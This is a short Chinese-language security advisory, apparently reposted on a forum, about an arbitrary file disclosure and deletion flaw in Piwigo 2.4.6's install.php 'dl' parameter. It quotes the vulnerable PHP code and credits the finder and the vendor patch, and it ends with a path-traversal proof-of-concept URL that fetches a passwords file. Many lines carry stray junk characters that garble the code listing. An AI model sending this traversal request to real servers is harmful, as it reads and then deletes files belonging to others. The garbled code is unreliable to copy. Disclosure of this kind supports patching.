Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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8 Z' Y1 Q1 f& f+ Q, m/install.php:
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1 C2 x0 r% W' y& [9 g5 [  K113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
, D# }0 e1 j) ]+ N; P. i0 c" d; W115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
, R9 d( M4 U1 t6 H7 z& g116:   header('Cache-Control: no-cache, must-revalidate');
# o) ?) p% k, m" o, e3 n$ b, [$ @117:   header('Pragma: no-cache');
$ _+ }9 ?/ F" e0 s7 n& L2 g1 C' E! G118:   header('Content-Disposition: attachment; filename="database.inc.php"');
$ l+ \0 A# N  u# e& t( C( }: ~119:   header('Content-Transfer-Encoding: binary');
& s* t4 k6 M- h3 f- a) @' z120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
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  T$ D, O0 v' E/ u% ]  J$ s$ MTested on: Microsoft Windows 7 Ultimate SP1 (EN)
/ ^0 w* X* u8 o           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

8 ^& |! ?9 N$ n5 U$ Q$ ?0 [Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
- O2 C$ ?9 D. P3 e6 ?                            @zeroscience
+ m" O% g1 {, n- e2 B
0 C& e/ ^# h5 W* @6 S# gAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt